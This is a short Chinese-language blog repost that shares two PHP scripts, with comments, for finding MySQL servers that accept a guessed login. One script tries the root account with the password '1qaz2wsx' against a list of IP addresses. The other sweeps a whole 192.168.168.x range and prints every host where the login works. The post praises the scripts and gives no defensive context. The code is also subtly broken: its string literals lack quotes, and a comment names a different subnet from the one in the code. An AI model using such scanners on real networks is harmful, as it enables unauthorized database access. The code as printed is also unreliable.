From:angels Blog Source URL:http://www.sablog.net/blog/archives/479/
剛才上網瞎逛,無意中在小A(angel)的博客上看見的這段程序,寫的很簡單很強大!呵呵!~是用PHP實現的,我在他寫的基礎上給加了代碼注釋,方便不懂PHP的朋友理解,廢話不多說,上代碼!
//在已知指定數據庫服務器開了3306端口的情況下執行如下PHP腳本進行猜解。
Code-1:
<?php
$hostdb = array(
192.168.168.10,
192.168.168.20,
192.168.168.20,
192.168.168.40,
192.168.168.50,
192.168.168.60,
192.168.168.70,
192.168.168.80,
192.168.168.90,
192.168.168.100
); //將這些IP地址放到預定義的數組裡面
$dbu = root; //這是預先定義好的數據庫用戶名
$dbp = 1qaz2wsx; //這是預習定義好的數據庫的密碼
foreach ($hostdb as $host) { //用foreach遍歷預先定義的數組
if(@mysql_connect($host, $dbu, $dbp)) {
echo $host. - .$dbu. - .$dbp. ... OK<br>; //如果符合預先定義的用戶名和密碼那麼就打印出來
}
}
echo done.;
?>
//如下代碼是對指定IP地址段進行掃描。
Code-2:
<?php
$ips = 192.168.168.; //預先定義的網段為C段IP地址段
$dbu = root; //預先定義的用戶名
$dbp = 1qaz2wsx; //預先定義的密碼
for ($i=1; $i<254; $i++) { //設定for循環,在192.168.1.1的基礎上逐一累加直到192.168.1.254
if(@mysql_connect($ips.$i, $dbu, $dbp)) { //嘗試與其進行連接
echo $ips.$i. - .$dbu. - .$dbp. ... OK<br>; //如果連接成功,則打印出來
}
}
echo done.;
?>